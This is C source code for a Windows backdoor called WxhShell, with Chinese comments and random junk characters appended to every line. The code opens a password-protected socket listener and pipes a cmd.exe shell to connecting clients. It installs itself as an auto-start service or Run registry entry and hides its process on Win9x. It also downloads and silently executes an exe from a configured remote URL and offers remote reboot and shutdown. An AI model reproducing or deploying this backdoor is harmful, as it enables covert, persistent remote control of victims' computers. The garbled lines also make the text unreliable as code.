    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u~-8d;+?y  
    else { eR"<33{  
    closesocket(wsh); BF<ikilR  
    ExitThread(0); Z(!\% mn  
    } @ry_nKr9  
    break; /H==Hm/  
    } *WT`o>  
  // 获取shell AzxXB  
  case 's': { 7\q~%lDE  
    CmdShell(wsh); 6MkP |vr6  
    closesocket(wsh); ;w[0t}dPl  
    ExitThread(0); \'bzt"f$j  
    break; O0y_Lm\  
  } 09Cez\0  
  // 退出 0K2`-mL  
  case 'x': { C2Tyoza  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); IN G@B#Cl  
    CloseIt(wsh); >e"#'K0?\  
    break; F@:'J\I}:  
    } DDH:)=;z  
  // 离开 nj53G67y  
  case 'q': { Wiu"k%Qsh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U`m54f@U  
    closesocket(wsh); }AH] th  
    WSACleanup(); Z)aUt Srf  
    exit(1); _f:W?$\ho  
    break; Ez=Olbk  
        } # 4PVVu<  
  } ZJ[ ??=Gz  
  } d<N:[Y\4l  
aAA U{EWW  
  // 提示信息 o.l- 7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,WB{i^TD  
} (*)hD(C5  
  } hfy_3}_  
b%/ 1$>_  
  return; {jX2}  
} Per1IcN  
>J>[& zS  
// shell模块句柄 %-0t?/>  
int CmdShell(SOCKET sock) ;BIY^6,7e  
{ /RC7"QzL  
STARTUPINFO si; >&5DsV.B  
ZeroMemory(&si,sizeof(si)); ]wG{!0pl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NPe%F+X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4Wm@W E  
PROCESS_INFORMATION ProcessInfo; Tyf`j,=  
char cmdline[]="cmd"; 7VFLJr t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YV anW  
  return 0; 'ub@]ru|  
} .xWC{}7[  
OH(waKq2I  
// 自身启动模式 ;VO:ph4Aj  
int StartFromService(void) <<R*2b  
{ b`O'1r\Y;  
typedef struct DZ PPJ2}  
{ r? E)obE  
  DWORD ExitStatus; p2$P:!Y)  
  DWORD PebBaseAddress; 8q}q{8  
  DWORD AffinityMask; V /V9B2.$  
  DWORD BasePriority; UQ@L V~6{R  
  ULONG UniqueProcessId; ?oHpFlj  
  ULONG InheritedFromUniqueProcessId; u($ !z^h  
}   PROCESS_BASIC_INFORMATION; R',rsGd`6j  
^qD$z=z-  
PROCNTQSIP NtQueryInformationProcess; |2n4QBH!  
Y\?"WGL)p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FE|JHh$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @wNG{Stj  
6MMOf\   
  HANDLE             hProcess; OA"q[s  
  PROCESS_BASIC_INFORMATION pbi; JB[~;nLlC  
)C]g ld;8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W+ko q*P  
  if(NULL == hInst ) return 0; Y^EcQzLw  
=w 2**$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l#Y,R 0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xRLT=.ir  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aH/ k Ua  
k5.Lna  
  if (!NtQueryInformationProcess) return 0; X!dYdWw*m  
;P%1j|7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _C[q4?  
  if(!hProcess) return 0; F%D.zvKN  
9H`XeQ.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sZ/v^ xk  
0*D$R`$  
  CloseHandle(hProcess); WuUk9_ g  
\$T(t/$9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T&u5ki4NE  
if(hProcess==NULL) return 0; Doyx[zZ  
qm8B8&-  
HMODULE hMod; DKJmTH]rUg  
char procName[255]; fN^8{w/O  
unsigned long cbNeeded; )g#T9tx2D  
GqaCj^2f  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G.a bql  
CxOob1@  
  CloseHandle(hProcess); dufu|BL|}  
JL}_72gs  
if(strstr(procName,"services")) return 1; // 以服务启动 dV$gB<iS  
Y;^l%ePuW  
  return 0; // 注册表启动 ZyPVy  
} .Una+Z  
ARwD~ Tr  
// 主模块 8ek@: Mw  
int StartWxhshell(LPSTR lpCmdLine) W^LY'ypT  
{ ex (.=X 1  
  SOCKET wsl; ""F5z,'  
BOOL val=TRUE; f=gW]x7'R+  
  int port=0; V/ uP%'cd  
  struct sockaddr_in door; '3D XPR^B6  
ca*DZG/  
  if(wscfg.ws_autoins) Install(); ']z{{UNUN  
x vl#w  
port=atoi(lpCmdLine); x '>9d  
4`]^@"{  
if(port<=0) port=wscfg.ws_port; ,|H `e^  
}1i`6`y1  
  WSADATA data; gANuBWh8T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rmt~,cW!\  
{xB!EQ"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   as4;:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dx{bB%?Y\=  
  door.sin_family = AF_INET; u^bidd6JRn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (G4at2YLd  
  door.sin_port = htons(port); sn$9Shgh  
1&evG-#<:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sRL`dEl4l  
closesocket(wsl); >xYpNtEs  
return 1; m6&~HfwN  
} O/a4]r+_  
l2rd9 -T  
  if(listen(wsl,2) == INVALID_SOCKET) { J0\Fhe0'  
closesocket(wsl); uHvp;]/0\  
return 1; lC("y' ::  
} #+HJA42  
  Wxhshell(wsl); `nv~NLkl  
  WSACleanup(); " H&W}N  
ex9g?*Q  
return 0; #9}D4i.`}  
u#;7<.D  
} 2 %@4]  
ukfQe }I  
// 以NT服务方式启动 ag#S6E^%S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8Pn#+IvCE  
{ %x{kc3PnO  
DWORD   status = 0; m=A(NKZ   
  DWORD   specificError = 0xfffffff; >G*eNn  
foF({4q7b^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ](9Xvy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q?oP?cCw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w QH<gJE/:  
  serviceStatus.dwWin32ExitCode     = 0; (*nT(Adk  
  serviceStatus.dwServiceSpecificExitCode = 0; [.'|_l  
  serviceStatus.dwCheckPoint       = 0; <+Dn8  
  serviceStatus.dwWaitHint       = 0; 3<Zq ]jk?n  
bv9i*]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gG:Vt}N  
  if (hServiceStatusHandle==0) return; UkT=W!cq  
^ H ThN  
status = GetLastError(); B^Nf #XN(  
  if (status!=NO_ERROR) p7VTa~\zA  
{ ~u!|qM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J^nBdofP  
    serviceStatus.dwCheckPoint       = 0; _8riUt  
    serviceStatus.dwWaitHint       = 0; ]kG"ubHV?h  
    serviceStatus.dwWin32ExitCode     = status; V2?=4mb  
    serviceStatus.dwServiceSpecificExitCode = specificError; #ASz;$P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U;V7 u/{  
    return; 9T}pT{~V  
  } 4(~L#}:r!  
gA5/,wDO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ] =xE  
  serviceStatus.dwCheckPoint       = 0; 7he,?T)vD  
  serviceStatus.dwWaitHint       = 0; T`.O'!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lh"<XYY  
} D>@I+4{p  
F/bT)QT<f  
// 处理NT服务事件,比如:启动、停止 z8~NZ;A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \oXpi$  
{ +p_CN*10H  
switch(fdwControl) I^]2K0+x x  
{ `PdQX.wN  
case SERVICE_CONTROL_STOP: NP#w +Qw  
  serviceStatus.dwWin32ExitCode = 0; /k6MzFoid  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *{@Nq=fE  
  serviceStatus.dwCheckPoint   = 0; c9'vDTE%~  
  serviceStatus.dwWaitHint     = 0; P*Uwg&Qz)  
  { OwUhdiG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5\sd3<:+  
  } +L| ?~p`V  
  return; M~#gRAUJ  
case SERVICE_CONTROL_PAUSE: %@ODs6 R0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mpEK (p  
  break; nFg~< $d  
case SERVICE_CONTROL_CONTINUE: !/*\}\'4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N/'b$m5= S  
  break; >~sI8czR*  
case SERVICE_CONTROL_INTERROGATE: -M~:lK]n   
  break; d>&,9c%  
}; #m<nAR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kr5">"7  
} He/8=$c%  
x{8xW0  
// 标准应用程序主函数 fZzoAzfv2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KKPh~ThC  
{  E`0?  
UA0Bzoky;  
// 获取操作系统版本 9y8&9<#  
OsIsNt=GetOsVer(); ]z;I _-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Yty/3T3)e  
Mj?`j_X  
  // 从命令行安装 4qbBc1,7y  
  if(strpbrk(lpCmdLine,"iI")) Install(); E *6Cw l  
k&q;JyUi  
  // 下载执行文件 kT66;Y[  
if(wscfg.ws_downexe) { V-2(?auZd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v0+BkfU+p  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4qh?,^Dq  
} \0I_<  
#n #}s  
if(!OsIsNt) { VUGmi]qd  
// 如果时win9x,隐藏进程并且设置为注册表启动 I-)+bV G  
HideProc(); 4Zddw0|2  
StartWxhshell(lpCmdLine); Q&ptc>{bH6  
} x8\?}UnB  
else JCzeXNY  
  if(StartFromService()) Jr!JHC9i  
  // 以服务方式启动 D~iz+{Q4  
  StartServiceCtrlDispatcher(DispatchTable); Uh4%}-;  
else !bx;Ta.  
  // 普通方式启动 )Y0!~# `  
  StartWxhshell(lpCmdLine); .x.]`b(  
")5":V~fN  
return 0; rgv?gaQ>  
} l -mfFN  
w"|L:8  
1..+F0U  
a=1@*ID  
=========================================== 8.=BaNU  
=.U[$~3q%  
q=m'^ ,gPS  
oj<gD  
$am$ EU?s  
Xp% v.M  
" wqs? 828x  
Hqx-~hQO  
#include <stdio.h> mzKiO_g}  
#include <string.h> hJ? O],4J  
#include <windows.h> [`[|l  
#include <winsock2.h> ^_W#+>&--  
#include <winsvc.h> aEWWP]  
#include <urlmon.h> a :`E0}C  
8z`G,qh  
#pragma comment (lib, "Ws2_32.lib") 4G0m\[Du  
#pragma comment (lib, "urlmon.lib") (Q!}9K3  
|O+H[;TB6  
#define MAX_USER   100 // 最大客户端连接数 7#a-u<HF"  
#define BUF_SOCK   200 // sock buffer .bg~>T+<  
#define KEY_BUFF   255 // 输入 buffer \fd v]f  
EwT"uL*V;  
#define REBOOT     0   // 重启 D|p9qe5%  
#define SHUTDOWN   1   // 关机 fu ,}1Mq#  
, WYPU  
#define DEF_PORT   5000 // 监听端口 $G+@_'  
EjR9JUu  
#define REG_LEN     16   // 注册表键长度 (D&3G;0tK  
#define SVC_LEN     80   // NT服务名长度 0<@KG8@hI;  
gzT*-  
// 从dll定义API <w9JRpFY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ] vsz, 0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &64h ;P<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (OL4Ex']  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NB#OCH1/9  
iB yf{I>+  
// wxhshell配置信息 pRpBhm;iJ  
struct WSCFG { djG*YM\B  
  int ws_port;         // 监听端口  KC6.Fr{  
  char ws_passstr[REG_LEN]; // 口令 }?i0  I  
  int ws_autoins;       // 安装标记, 1=yes 0=no  `25yE/  
  char ws_regname[REG_LEN]; // 注册表键名 69NeQ$](  
  char ws_svcname[REG_LEN]; // 服务名 w3_>VIZJl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pa3{8x{9m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OLGE!&!>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7U"g3 a)=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no itP,\k7>d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *#|&JIEsi  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HM1Fz\Sf  
b\!_cb~"@  
}; LA5(sp@O  
o#Dk& cH  
// default Wxhshell configuration ()?(I?II  
struct WSCFG wscfg={DEF_PORT, `UaD6Mc<Mz  
    "xuhuanlingzhe", +GN(Ug'R  
    1, `HSKQ52  
    "Wxhshell", _< V)-Y  
    "Wxhshell", F~W6Bp^W  
            "WxhShell Service", ueWEc^_>  
    "Wrsky Windows CmdShell Service", 3(N$nsi  
    "Please Input Your Password: ", .! 3|&V'<  
  1, P3=G1=47U  
  "http://www.wrsky.com/wxhshell.exe", MJO-q $)c  
  "Wxhshell.exe" ksUcx4;a@F  
    }; -d/ =5yxL  
JFmC\  
// 消息定义模块 pYEMmZ?L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |syR6(U}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .`H5cuF`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lrE5^;/s1  
char *msg_ws_ext="\n\rExit."; ? :%@vM  
char *msg_ws_end="\n\rQuit."; ec;o\erPG  
char *msg_ws_boot="\n\rReboot..."; I$G['` XX/  
char *msg_ws_poff="\n\rShutdown..."; {dlXLx!B  
char *msg_ws_down="\n\rSave to "; ^uc=f2=>,  
{}n^cq  
char *msg_ws_err="\n\rErr!"; `/+>a8  
char *msg_ws_ok="\n\rOK!"; %aCqi(.7  
^z*t%<@[Q  
char ExeFile[MAX_PATH]; Wvh#:Z  
int nUser = 0; _ 4~+{l+  
HANDLE handles[MAX_USER]; Q3~H{)[Kq  
int OsIsNt; Nh|uO?&C6  
; DR$iH-F  
SERVICE_STATUS       serviceStatus; t{9GVLZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <'Eme  
g:@#@1rB6  
// 函数声明 _|2:_N=   
int Install(void); <xm7qmqI  
int Uninstall(void); %wy.TN  
int DownloadFile(char *sURL, SOCKET wsh); >]TWXmx/w  
int Boot(int flag); 9.-S(ZO  
void HideProc(void); C{rcs'  
int GetOsVer(void); ~ .g@hS8>  
int Wxhshell(SOCKET wsl); zC!t;*8a  
void TalkWithClient(void *cs); $h"\N$iSq  
int CmdShell(SOCKET sock); 9cF[seE"0  
int StartFromService(void); 8TKnL\aar  
int StartWxhshell(LPSTR lpCmdLine);  V}CG:9;  
cuI TY^6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K69'6?#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /,yd+wcW#  
 mq.`X:e  
// 数据结构和表定义 ZMlm)?m  
SERVICE_TABLE_ENTRY DispatchTable[] = !Ai@$tl[S  
{ 7JH6A'&  
{wscfg.ws_svcname, NTServiceMain}, 6nvz8f3*r]  
{NULL, NULL} Yj49t_$b  
}; qyTU8Wp  
03Ycf'W  
// 自我安装 (L&d!$,Dv  
int Install(void) bI1N@=  
{ {!L~@r  
  char svExeFile[MAX_PATH]; 9Y9GwL]T  
  HKEY key; :5<UkN)R(  
  strcpy(svExeFile,ExeFile); rb.N~  
$U WZDD  
// 如果是win9x系统,修改注册表设为自启动 6bC3O4Rw  
if(!OsIsNt) { x 9fip-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  }my`K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S,UDezxg  
  RegCloseKey(key); b4kgFA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jnov<+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T8$y[W-c  
  RegCloseKey(key); V 5mTP'  
  return 0; g) jYFfGfH  
    } ~$^XP.a.  
  } }Sv:`9=  
} T0)@pt7>  
else { DTL.Bsc-.  
~f98#43  
// 如果是NT以上系统,安装为系统服务 kl:Bfs)b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /U9"wvg  
if (schSCManager!=0) f]CXu3w(J  
{ wmLs/:~  
  SC_HANDLE schService = CreateService YS0<qSN  
  ( } q8ASYNc  
  schSCManager, xb8!B  
  wscfg.ws_svcname, `|q(h Ow2  
  wscfg.ws_svcdisp, + ePS14G  
  SERVICE_ALL_ACCESS, kxv1Hn"`{E  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .ioEI sg  
  SERVICE_AUTO_START, hwv/AnX~O  
  SERVICE_ERROR_NORMAL,  \4fQMG  
  svExeFile, .Q 2V}D85  
  NULL, rey!{3U  
  NULL,  b>ySv  
  NULL, $!t4r  
  NULL, =Xr.'(U  
  NULL 1yhDrpm  
  ); Dlvz )  
  if (schService!=0) s$j,9uRr  
  { |+9&rAg  
  CloseServiceHandle(schService); ww1[rCh\+  
  CloseServiceHandle(schSCManager); :V||c5B+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d2$IH#~9B  
  strcat(svExeFile,wscfg.ws_svcname); OneY_<*a<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q=$2c[Uk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J|73.&B  
  RegCloseKey(key); >hIu2jm  
  return 0; 3bI9Zt#J%&  
    } ;$g?T~v7  
  } V'gh 6`v  
  CloseServiceHandle(schSCManager); 5{,<j\#L  
} W"{N Bi  
} 8quaXVj^a  
Z% UP6%  
return 1; 'I;zJ`Trd  
} $XH^~i;  
OjA,]Gv6  
// 自我卸载 Q~9^{sHZjP  
int Uninstall(void) `R^gU]Z,  
{ C3g_! dUs  
  HKEY key; VIf.q)_k  
;O,jUiQ  
if(!OsIsNt) { hhvyf^o   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4*;MJ[|  
  RegDeleteValue(key,wscfg.ws_regname); K|=A:  
  RegCloseKey(key); I&5!=kR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m1AJ{cs  
  RegDeleteValue(key,wscfg.ws_regname); {)<v&'*c~  
  RegCloseKey(key); Ow,b^|  
  return 0; 8z\xrY  
  } ]Hv[IodJ  
} #/37V2E  
} 8u]2xB=K  
else { F!K>Kz  
lyhiFkO iH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _aeBauD  
if (schSCManager!=0)  Vxt+]5X  
{ (QB2T2x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MolgwVd  
  if (schService!=0) )+Pus~w  
  { 5"H=zJ=r  
  if(DeleteService(schService)!=0) { N'=gep0V@  
  CloseServiceHandle(schService); fc>L K7M  
  CloseServiceHandle(schSCManager); M',?u  
  return 0; klhtKp_p  
  } 2Tppcj v  
  CloseServiceHandle(schService); [2cD:JL  
  } FpU>^'2]  
  CloseServiceHandle(schSCManager); j] [,J49L  
} q@2siI~W  
} f*8DCh!r"  
/Z4et'Lo  
return 1; ?aMOZn?  
} 69.NPy@  
TD_Oo-+\  
// 从指定url下载文件 <#HYqR',  
int DownloadFile(char *sURL, SOCKET wsh) hE-M$LmN@  
{ /qw.p#  
  HRESULT hr; QS`]  
char seps[]= "/"; 1h5 Akq  
char *token; vZ Lf  
char *file; }(u ol  
char myURL[MAX_PATH]; e96k{C`j0  
char myFILE[MAX_PATH]; &cTU sK  
FVBYo%Ap  
strcpy(myURL,sURL); x,Vr=FB  
  token=strtok(myURL,seps); hpk7 A np  
  while(token!=NULL) 2J;g{95z  
  { U m+8"W  
    file=token; P0b7S'a4!  
  token=strtok(NULL,seps); $ME)#(  
  } !|>"o7  
0m ? )ROaJ  
GetCurrentDirectory(MAX_PATH,myFILE); syK^<xa  
strcat(myFILE, "\\"); Y <qm{e  
strcat(myFILE, file); rrv%~giU  
  send(wsh,myFILE,strlen(myFILE),0); Wm5 dk9&x  
send(wsh,"...",3,0); rVsJ`+L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Af{"pzY  
  if(hr==S_OK) Rx}Gz$   
return 0; vr^qWn  
else ,Y48[_ymm  
return 1; Du){rVY^d  
Lj;2\]  
} <0?W{3NqI  
DlNX 3  
// 系统电源模块 igAtRX%Qx  
int Boot(int flag) _J[P[(ab  
{ ;A!BVq  
  HANDLE hToken; hR|MEn6KC  
  TOKEN_PRIVILEGES tkp; >F&47Yn  
 8dyg1F  
  if(OsIsNt) { wlmRe`R  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {]|J5Dgfe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m j@13$=  
    tkp.PrivilegeCount = 1; 5/z/>D;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; */DO ex"y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {1 94!S4z  
if(flag==REBOOT) { 0qT%!ku&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Wo ,?+I  
  return 0; 29q _BR *:  
} Z EO WO  
else { ^G-@06/!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7"xd1l?zz  
  return 0; 6S\8$  
} Y[S1$(K&*  
  } >@AB<$ A  
  else { RCLeA=/N@0  
if(flag==REBOOT) { C{wEzM :  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M& CqSd  
  return 0; \5cpFj5%  
} n{SJ_S#a.a  
else { A. w:h;7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5E_YEBO/  
  return 0; ei5~&  
} 4nz35BLr  
} z&^&K}  
k-""_WJ~^  
return 1; C"]^Q)aJN  
} sUm'  
7T'B6`-Ox  
// win9x进程隐藏模块 r!{Up7uL  
void HideProc(void) FU<Jp3<%  
{ f:P}*^ Gw  
.XhrCi Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %;"y+YFdv  
  if ( hKernel != NULL ) Ld-_,-n  
  { r/*D:x|yN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wn)W ?P;k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pcI uN  
    FreeLibrary(hKernel); PE5G  
  } {cw /!B  
bK-N:8Z  
return; maR"t+  
} cPc</[x[W  
_n\GNUA  
// 获取操作系统版本 {2 "zVt#h  
int GetOsVer(void) ~.lPEA %%  
{ xA[mm  
  OSVERSIONINFO winfo; Q.c\/&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m9}P9 ?  
  GetVersionEx(&winfo); w.-!UD9/.x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *G 9V'9  
  return 1; -`TEVS?`l  
  else 9k[9P;"F:  
  return 0; XHGFf_kW_N  
} LB?u8>a' I  
vEz"xz1j!]  
// 客户端句柄模块 ib791  
int Wxhshell(SOCKET wsl) xFg>SJ7]  
{ yJe>JK~)  
  SOCKET wsh; ZWp(GC1NA  
  struct sockaddr_in client; c-FcEW  
  DWORD myID; t.\dpBq  
i<g-+Qs  
  while(nUser<MAX_USER) %BB%pC  
{ ^D-/`d  
  int nSize=sizeof(client); }f7j 8py  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |)/aGZ+  
  if(wsh==INVALID_SOCKET) return 1; QoH6  
42ivT_H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3%=~) 7cF  
if(handles[nUser]==0) 8Kk(8a&v  
  closesocket(wsh); DrK{}uM  
else 8BNi1Qn$  
  nUser++; I ?.^ho  
  } LvYB7<zk>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -!]ZMi9  
?p8_AL'RS  
  return 0; J`1rJ  
} V,N%;iB}  
t}tEvh  
// 关闭 socket G?Hdq;  
void CloseIt(SOCKET wsh) ~gRf:VXX=_  
{ 4)o  
closesocket(wsh); h;NYdX5  
nUser--; @bP)406p  
ExitThread(0); OY@ %p}l  
} vd4ytC  
PXNh&N  
// 客户端请求句柄 WVvvI9  
void TalkWithClient(void *cs) 6<(.4a?  
{ fXQNHZ|4  
}U5yQ%N  
  SOCKET wsh=(SOCKET)cs; 'K,:j 388  
  char pwd[SVC_LEN]; %sQ^.` 2  
  char cmd[KEY_BUFF]; 3=]sLn0L  
char chr[1]; "@,}p\  
int i,j; ZO c)  
UByv?KZi  
  while (nUser < MAX_USER) { cDH^\-z  
qPfQy  
if(wscfg.ws_passstr) { lQkQ9##*   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2x0<&Xy#P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f^XOUh  
  //ZeroMemory(pwd,KEY_BUFF); {%6`!WW[  
      i=0; Ck7uJI<x  
  while(i<SVC_LEN) { Q^txVUL  
dL )<% o  
  // 设置超时 l8#EM1g-  
  fd_set FdRead; ]f9Cx\d:k  
  struct timeval TimeOut; `$ aZ0+  
  FD_ZERO(&FdRead); WbqWG^W  
  FD_SET(wsh,&FdRead); _~iw[*#u  
  TimeOut.tv_sec=8; SQt 4v"  
  TimeOut.tv_usec=0; O#S.n#{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P1' al  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {fn!'  
e(=w(;84  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [Nbm|["q~  
  pwd=chr[0]; scLll,~  
  if(chr[0]==0xd || chr[0]==0xa) { BbS4m  
  pwd=0; c.F6~IHu7  
  break; j^rIH#V   
  } s( q_ o  
  i++; $43qME  
    } j9+w#G]hV  
161xAig  
  // 如果是非法用户,关闭 socket >]5P 3\AQV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P;]F(in=  
} `(/w y  
AoL2@C.C%D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o"R7,N0rB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LW_ f  
MfQ?W`Kop  
while(1) { @A ^;jk  
=xx]@  
  ZeroMemory(cmd,KEY_BUFF); A#'8X w|  
G<rHkt@[  
      // 自动支持客户端 telnet标准   #d2.\X}A"3  
  j=0; z]D69O b  
  while(j<KEY_BUFF) { FZE"7ec>m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jcm&RI"{  
  cmd[j]=chr[0]; JQHvz9Yg  
  if(chr[0]==0xa || chr[0]==0xd) { tc{s B\&-  
  cmd[j]=0; !6Mo]xh  
  break; O2dW6bt  
  } ptxbDzOz  
  j++; JKGe"  
    } Jd^,]  
uT7B#b7  
  // 下载文件 gz#i.-  
  if(strstr(cmd,"http://")) { q2:6QM&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h Pa_VrH  
  if(DownloadFile(cmd,wsh)) I- >Ss},U  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oh6fj}eK  
  else _1!OlQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +8Ymw:D7a  
  } /9p wZ%:<  
  else { !fR3 (=oN  
+8d1|cB"  
    switch(cmd[0]) { vbe|hO""  
  6?~"V  
